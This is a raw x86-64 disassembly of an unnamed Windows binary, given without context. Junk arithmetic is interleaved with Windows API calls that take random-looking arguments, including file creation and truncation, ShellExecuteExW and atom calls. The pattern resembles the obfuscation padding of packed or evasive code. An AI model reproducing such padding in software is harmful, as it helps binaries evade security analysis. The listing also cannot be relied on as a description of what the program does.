mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.cTfSEQdlmf4wOQyNzMRpvFR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12c98], rax
mov rax, qword [rsp + 0x11420]
mov rcx, qword [rsp + 0x12b68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x12b00]
mov rax, qword [rax]
mov qword [rsp + 0x12ca0], rax
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [rsp + 0x127f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12b58], rax
mov rax, qword [rsp + 0x12b38]
mov eax, dword [rax]
mov dword [rsp + 0x93b8], eax
mov rax, qword [rsp + 0x12b30]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12c08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2d2]
mov rcx, qword [rsp + 0x12bd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x597], al
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9254], eax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15b8], ax
lea rax, [rsp + 0x2bdc]
mov qword [0x1402c4128], rax
mov rax, qword [rsp + 0x12bc0]
mov rcx, qword [rsp + 0xf010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12be8], rax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov qword [rsp + 0x12ca8], rax
movsx eax, word [rsp + 0x1d4c]
mov rcx, qword [0x1402c4158]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2be0], ax
mov eax, dword [rsp + 0x9374]
mov dword [rsp + 0x93bc], eax
movzx eax, word [rsp + 0x2010]
movzx ecx, word [rsp + 0x2bf8]
xor eax, ecx
movzx ecx, word [rsp + 0x2544]
mov dword [rsp + 0x93c0], ecx
movzx edx, word [0x14027d38c]
movzx ecx, dl
mov edx, dword [rsp + 0x93c0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400235f4
mov rax, qword [0x1402c4148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d2]
add eax, ecx
mov byte [rsp + 0x5ab], al
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
lea rcx, [rsp + 0x2b870]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x92d8], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12968]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12c78], rax
mov rax, qword [rsp + 0x12c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9334]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5ae]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1dc], al
movsx eax, word [rsp + 0x29dc]
movsx ecx, word [rsp + 0x1924]
xor eax, ecx
mov word [rsp + 0x18cc], ax
lea r9, [rsp + 0x9398]
lea r8, [rsp + 0x12cb0]
lea rdx, [rsp + 0x12ba0]
lea rcx, [rsp + 0x2be8]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x93c4], eax
movzx r8d, word [0x14027d3a8]
movzx edx, word [rsp + 0x18cc]
mov rax, qword [rsp + 0x129b0]
mov ecx, dword [rax]
call fcn.1402319d0
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14027d3a0], ax
jmp 0x14022fd5c
mov eax, dword [rsp + 0x92a4]
mov rcx, qword [rsp + 0x129b0]
mov qword [rsp + 0x12cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12cb8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x9220]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400236db
mov rax, qword [rsp + 0x12bc0]
mov rcx, qword [rsp + 0x12ca0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x12b40]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12c28], rax
mov rax, qword [rsp + 0x12b00]
mov rcx, qword [rsp + 0x12bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12ca8], rax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [0x14027d03b]
add eax, ecx
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0x12858]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x127c0]
mov rax, qword [rsp + 0x128a8]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x1d4c]
call fcn.140231910
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a6], al
mov rax, qword [rsp + 0x12bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12c78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12bb0], rax
mov eax, dword [rsp + 0x936c]
mov ecx, dword [rsp + 0x937c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e34], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x12b30]
mov rcx, qword [rsp + 0x12c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12b30]
mov dword [rcx], eax
lea rcx, [rsp + 0x28338]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x2be4]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14027d3ac], ax
movzx eax, word [0x14027d390]
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9398]
shl eax, cl
mov rcx, qword [rsp + 0x12bf0]
mov rdx, qword [rsp + 0x12b30]
mov edx, dword [rdx]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jne 0x14022fb49
mov rax, qword [rsp + 0x12868]
mov rcx, qword [rsp + 0x12bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x87d0], eax
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0x12c78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12968], rax
movzx eax, word [rsp + 0x2bd8]
mov word [rsp + 0x2c48], ax
movzx eax, byte [rsp + 0x59d]
movzx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov byte [0x14027d03d], al
mov rax, qword [rsp + 0x12ba8]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
add eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x12b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12bf8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x5ac]
add ecx, edx
cmp eax, ecx
jle 0x140023a1d
mov dword [rsp + 0x20], 0xcd
mov r9d, 0xce
lea r8, [rsp + 0x2de00]
mov edx, 0xeb
mov rcx, qword [rsp + 0x12cc0]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12b40]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12b50], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12ca8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12980], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1924]
sub eax, ecx
mov word [rsp + 0x29dc], ax
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x93b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov eax, dword [0x14027d384]
mov rcx, qword [rsp + 0x12868]
mov qword [rsp + 0x12cc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12cc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [rsp + 0x12bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x127d8], rax
movzx eax, byte [rsp + 0x27f]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x12950]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x3c
lea r9, [rsp + 0x2bdc]
mov r8, qword [rsp + 0x12cd0]
mov rdx, qword [rsp + 0x128c0]
mov rcx, qword [rsp + 0x12cd0]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x92d8], eax
movzx eax, word [0x14027d394]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c4140], ax
mov rax, qword [rsp + 0x12b00]
mov rcx, qword [rsp + 0x12c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10f18], rax
movsx eax, byte [rsp + 0x549]
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5ac], al
mov rax, qword [rsp + 0x12890]
mov rcx, qword [rsp + 0x127d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov rdx, qword [rsp + 0x12b18]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x140023a8b
lea rcx, [rsp + 0x12a08]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x93c8], eax
movzx r9d, word [rsp + 0x1924]
mov r8, qword [rsp + 0xefa8]
movzx edx, word [rsp + 0x1924]
mov rax, qword [0x1402c4128]
movzx ecx, word [rax]
call fcn.140231910
movzx eax, byte [rsp + 0x5a9]
mov rcx, qword [0x1402c4148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x47c], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1318]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [0x1402c4180]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x12bc8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov eax, dword [rsp + 0x937c]
mov dword [rsp + 0x93cc], eax
mov rax, qword [rsp + 0x12b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov word [rsp + 0x2c4c], ax
movzx eax, byte [rsp + 0x5ae]
mov rcx, qword [rsp + 0x12bd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14027d03d], al
movzx eax, word [rsp + 0x2010]
movzx ecx, word [rsp + 0x2c30]
xor eax, ecx
mov rcx, qword [rsp + 0x12a08]
mov word [rcx], ax
lea rdx, [rsp + 0x12cd8]
mov rcx, qword [rsp + 0x12970]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x92f0], eax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c0c], ax
mov rax, qword [rsp + 0x12b00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x12c30]
sar rax, cl
mov qword [rsp + 0x11f98], rax
mov rax, qword [rsp + 0x12c80]
mov rcx, qword [rsp + 0x12898]
mov qword [rsp + 0x12ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12ce0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x12a48], rax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [0x14027d378]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12b38]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x93c8]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14022fa97
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14027d03d], al
mov rax, qword [rsp + 0x12bf8]
movzx eax, byte [rax]
mov byte [rsp + 0x5b0], al
lea rcx, str.MFftmB4_Vdd_tMhsC9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c50], ax
movsx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c34], ax
mov rax, qword [rsp + 0x113d8]
mov qword [rsp + 0x12ce8], rax
movsx eax, word [rsp + 0x2c08]
movsx ecx, word [0x14027d37c]
add eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov rax, qword [rsp + 0x12bd8]
mov rcx, qword [rsp + 0x12ab0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
lea rax, [rsp + 0x91e8]
mov qword [rsp + 0x12cf0], rax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12b38]
mov qword [rsp + 0x12cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x91fc], eax
lea rax, [rsp + 0x2620]
mov qword [rsp + 0x12d00], rax
movzx eax, byte [rsp + 0x596]
mov byte [0x1402c4121], al
mov rcx, qword [rsp + 0x12970]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9328], eax
mov rax, qword [rsp + 0x12ce8]
mov rcx, qword [rsp + 0xf010]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x12ae0], rax
lea rdx, [rsp + 0x12d08]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x923c], eax
movzx eax, word [rsp + 0x2be8]
movzx ecx, word [rsp + 0x2c30]
or eax, ecx
mov word [rsp + 0x2c3c], ax
movzx eax, byte [rsp + 0x5a9]
movzx ecx, byte [rsp + 0x5ab]
shl eax, cl
mov byte [rsp + 0x56], al
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2be0]
add eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x12d08]
mov rdx, qword [rsp + 0x129e0]
mov rcx, qword [rsp + 0x12a70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x9380], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9238], eax
mov rax, qword [rsp + 0x12bc8]
mov rax, qword [rax]
mov qword [rsp + 0x12d10], rax
mov rax, qword [rsp + 0x12868]
mov rcx, qword [rsp + 0x12c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93b0], eax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [0x14027d388]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9388], eax
lea rax, [rsp + 0x5a3]
mov qword [rsp + 0x12d18], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Ihus5O7OLq8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12d20], rax
movzx eax, byte [rsp + 0x59a]
mov rcx, qword [rsp + 0x12bd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56], al
movzx eax, word [rsp + 0x2bf4]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d3b8], ax
movzx eax, word [rsp + 0x2bc0]
mov word [rsp + 0x2c54], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6ee5
mov rcx, qword [rsp + 0x12af0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9238], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12c60], rax
mov rax, qword [rsp + 0x12b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8920]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x9388]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140023fdf
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12d28], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12d30], rax
mov rax, qword [rsp + 0x12c08]
mov rcx, qword [rsp + 0x12bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x12b38]
mov eax, dword [rax]
mov ecx, dword [0x14027d378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x83c8], eax
movzx eax, word [rsp + 0x2c04]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c48], ax
lea rax, [rsp + 0x56]
mov qword [rsp + 0x12d38], rax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c54]
or eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0xe730]
mov rcx, qword [rsp + 0x12b00]
mov qword [rsp + 0x12d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12d40]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12c50]
mov rcx, qword [rsp + 0x129f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x11f98], rax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov word [rsp + 0x2c58], ax
lea rdx, [rsp + 0x934c]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9328], eax
mov rax, qword [rsp + 0x12b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9200]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x92b8], eax
mov eax, dword [rsp + 0x9384]
mov dword [rsp + 0x93d0], eax
movsx eax, byte [rsp + 0x59c]
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59f], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x129a0], rax
movzx eax, byte [0x1402c4121]
movzx ecx, byte [rsp + 0x5a9]
and eax, ecx
mov byte [rsp + 0x56b], al
mov rax, qword [rsp + 0x12d38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14027d03e], al
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2190]
add eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0x12ba8]
movzx eax, word [rax]
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2be0]
add eax, ecx
mov word [rsp + 0x1318], ax
mov rax, qword [rsp + 0x12bc8]
mov rcx, qword [rsp + 0x127f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov dword [rsp + 0x93d4], eax
mov eax, dword [rsp + 0x7bfc]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12b30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x398], al
mov eax, dword [rsp + 0x92d4]
movzx ecx, al
mov eax, dword [rsp + 0x7c70]
shl eax, cl
mov rcx, qword [rsp + 0x12c08]
mov edx, dword [0x14027d384]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jg 0x14002438c
movzx eax, word [rsp + 0x1268]
movzx ecx, word [rsp + 0x2be4]
or eax, ecx
mov word [rsp + 0x2620], ax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14027d3b4], ax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov qword [rsp + 0x12d48], rax
mov rax, qword [rsp + 0x129c0]
mov rcx, qword [rsp + 0x12c30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12ca0], rax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12b20], rax
movzx eax, word [rsp + 0x2bd8]
mov word [rsp + 0x2c60], ax
movsx eax, byte [rsp + 0x5a6]
movsx ecx, byte [rsp + 0x59c]
sub eax, ecx
mov byte [rsp + 0x5a1], al
mov rax, qword [rsp + 0x12b38]
mov rcx, qword [rsp + 0x12958]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7868], eax
mov rax, qword [rsp + 0x12b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12d28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12bd8], rax
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c64], ax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x92b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [0x1402c4148]
movzx eax, byte [rax]
mov byte [0x1402c4120], al
movzx eax, word [rsp + 0x2c20]
mov word [rsp + 0x2c68], ax
movzx eax, word [rsp + 0x2bf4]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12998]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ba8]
movzx eax, word [rax]
mov word [rsp + 0x2c6c], ax
movzx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d38]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12c98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9264], eax
mov rax, qword [rsp + 0x12cf0]
mov ecx, dword [rsp + 0x92e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9354], eax
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov qword [rsp + 0x12d50], rax
lea rcx, str.Q.AtpmR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c10], ax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9358]
shl eax, cl
mov dword [rsp + 0x9374], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12d58], rax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12ca0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xf1d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x12b10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x12b48]
shr rax, cl
mov rcx, qword [rsp + 0x127f8]
mov rdx, qword [rsp + 0x12ae8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
ja 0x14022f8f1
mov rax, qword [rsp + 0x12ba8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0x12c50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x12be8]
sar rax, cl
mov qword [rsp + 0x12b40], rax
mov rax, qword [rsp + 0x12c18]
mov qword [rsp + 0x12d60], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1924]
and eax, ecx
mov word [rsp + 0x1380], ax
mov eax, dword [rsp + 0x83c8]
mov dword [rsp + 0x93d8], eax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12d10], rax
mov rax, qword [rsp + 0x12cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x880c], eax
mov rax, qword [rsp + 0x12bd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov byte [rsp + 0x596], al
movzx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14027d3ac], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12c30], rax
lea rax, [rsp + 0x5ad]
mov qword [rsp + 0x12d68], rax
movsx eax, word [rsp + 0x2bdc]
movsx ecx, word [rsp + 0x2be0]
add eax, ecx
mov word [rsp + 0x2c54], ax
movsx eax, byte [0x14027d038]
mov rcx, qword [rsp + 0x12d18]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0x163]
mov rdx, qword [rsp + 0x129c8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14002479c
lea rax, [rsp + 0x5a5]
mov qword [rsp + 0x12d70], rax
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12b18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12d50], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7868]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x93a0], eax
mov rax, qword [rsp + 0x12cf0]
mov eax, dword [rax]
mov dword [rsp + 0x93dc], eax
movzx eax, word [rsp + 0x2c4c]
movzx ecx, word [rsp + 0x2c18]
sub eax, ecx
mov word [rsp + 0x2c38], ax
lea rax, [rsp + 0x5ab]
mov qword [0x1402c4118], rax
movzx eax, word [rsp + 0x2c0c]
mov word [rsp + 0x2c70], ax
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9314], eax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2544]
and eax, ecx
mov word [rsp + 0x2c48], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x129a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xff78], rax
mov rax, qword [rsp + 0x12bf0]
mov rcx, qword [rsp + 0x12cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
